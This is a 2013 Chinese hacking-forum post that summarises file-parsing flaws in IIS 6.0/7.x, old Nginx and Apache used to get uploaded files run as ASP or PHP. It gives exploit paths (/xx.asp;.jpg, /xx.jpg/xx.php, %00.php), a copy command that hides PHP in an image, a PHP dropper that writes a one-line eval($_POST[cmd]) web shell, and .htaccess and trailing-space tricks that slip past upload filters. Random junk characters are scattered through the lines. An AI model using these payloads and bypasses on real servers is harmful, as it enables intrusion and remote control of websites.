找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2843|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain
; A& a/ Y. J4 m# l" V3 d[+]IIS6.0
, i9 z5 ^% M+ ~  Q9 q 1 H+ C# E# p: V- A+ X) ?2 F1 U
目录解析:/xx.asp/xx.jpg
3 a6 Y: _+ {% e7 m0 q! I xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
) @- Z6 ~( Q$ Q& P* I IIS6.0 会将 xx.jpg 解析为 asp 文件。
' p3 f' n3 Z7 t  A6 l( W7 W后缀解析:/xx.asp;.jpg     
+ Y4 H6 [( n) X$ t IIS6.0 都会把此类后缀文件成功解析为 asp 文件。. l5 Y: m+ a: s& n% ?) g& H
默认解析:/xx.asa
1 S( }6 s  R, p, Z  ^         /xx.cer
/ n4 X" H( b- B2 G+ Q9 g" U4 d         /xx.cdx
1 u' h/ _! r1 v IIS6.0 默认的可执行文件除了 asp 还包含这三种
# s$ n; P7 _) d 此处可联系利用目录解析漏洞 1 Y" f8 x8 Q5 n- g
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
" A- h+ Q& `$ U6 v[+]IIS 7.0/IIS 7.5/Nginx <0.8.036 F" I  I; r2 i. m

* M! j8 x4 x, j9 b IIS 7.0/IIS 7.5/Nginx <0.8.03, e% \7 p! t- k' \7 b6 M: W$ ]; A
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
) v0 m6 m& j1 \0 ^. h3 F 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
1 |& g6 {( q9 T 常用利用方法:
$ E) j. X3 ^7 W5 j 将一张图和一个写入后门代码的文本文件合并将恶意文本& |2 P3 u) ?% t" c8 [1 j/ j
写入图片的二进制代码之后,避免破坏图片文件头和尾/ c& r& x2 H+ [' S) `6 i# }" x9 l
如:
5 r" J! x/ M" q1 W% I6 ^ copy xx.jpg /b + yy.txt/a xy.jpg
4 Z- f* F" T/ Y# f #########################################################) Y) r9 ]8 q! k7 W/ N
/b 即二进制[binary]模式
7 J, i7 h  J6 Q/ z0 k5 A /a 即ascii模式
; [2 e+ \! U& k- A/ _0 f3 F" [ xx.jpg 正常图片文件# P* w  r) o4 ^+ \7 s  m
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),2 u, }/ Z( w- b6 z& G/ Z
'<?php eval($_POST[cmd])?>');?>* G4 z( h, w6 {' [2 L; G
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
! ?7 l' H* N* M 为shell.php的文件
$ A3 ?& `) y. c/ c3 j0 D4 G ###########################################################
4 O; H: ?" A2 S' K) s 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
, X1 i" Y! O) f 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
# z/ b! |' Y# _) U5 k( t$ N 密码 cmd2 s$ }( c- k$ s/ ?2 ]6 a. Z
[+]Nginx <0.8.03
( r, F3 ~+ o5 e9 m : O" R9 R- ]! M1 Q& l
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
( j2 N: y1 \4 p 在一个文件路径(/xx.jpg)后面加上%00.php
% c! L% m- n+ Z" i0 x' J  v: j 会将 /xx.jpg%00.php 解析为 php 文件。. K: g0 @- \, r) t
[+]Apache<0.8.03
, F7 O3 w* x" } ( g; O# |9 P3 F# N
后缀解析:test.php.x1.x2.x3- ?! W7 u7 k  `6 V" v6 h' f1 C
Apache将从右至左开始判断后缀,若x3非可识别后缀,
2 q& e- b& I& s, K) b# O5 h4 P# X 再判断x2,直到找到可识别后缀为止,然后将该可识别
7 k2 ~2 ?$ `, h: b 后缀进解析test.php.x1.x2.x3 则会被解析为php) t' y- e: h/ W/ y9 l0 R  p% P1 z
经验之谈:php|php3|phtml 多可被Apache解析。
  S* v# m' P: m4 Q4 u[+]其他一些可利用的
1 L7 n# l( o$ _$ D, W8 u. \; s0 A 9 o9 u8 \5 c. z9 v& ?1 ^$ Z( |5 A
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
1 K: g( ?% ^, f9 G8 q) T若这样命名,windows会默认除去空格或点,这也是可以被利用的!
% _9 M3 i: y8 O' c3 ]% K9 s, N/ A% w在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格, g: l" @1 i, J: P$ U% m
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可" l9 n; z8 Y( I
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
; P  T# d9 `; a/ s% R7 D{Linux主机中不行,Linux允许这类文件存在}' E) I- M/ ^" r1 t+ |
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说) @, e5 E$ @9 M/ L
的,当初我并不知道),且可以被上传,那可以尝试在6 r! X, A5 M9 t% b# {: h- |
.htaccess中写入:
' A" Z; z6 p" Q' Q' O<FilesMatch “shell.jpg”> - V+ a9 `5 c* O1 B* t$ N8 u; M& h
SetHandler application/x-httpd-php , N, A  _! ]9 Q, h6 n
</FilesMatch>+ w" ~5 E& C& W# w& z
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件, ^5 [: C3 z1 Q- w  O
[+]错误修改
( G  ]* G! p: h: Q
4 R& a: ~5 @% X在 IIS 6.0 下可解析 /xx.asp:.jpg7 }, T0 r/ J  q
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去0 D% ^5 `7 V) ^& {: B
剩下/xx.asp}修改:
8 l$ ~# f# Q1 L4 z& y先谢谢核攻击的提醒
0 q7 d2 @$ x1 v9 o8 r! ?- A当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
+ u) x# R6 n0 z% B0 i% Z; L# p里是没有任何内容的,因为。。不好解释 大家自己看8 u; T, O) i; F6 {: L
http://lcx.cc/?i=2448/ {" V& [% g4 [
http://baike.baidu.com/view/3619593.htm
6 A4 i3 j+ L" o2 S' ^, V% M4 M1 E0 Y  a; E" g/ B# t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表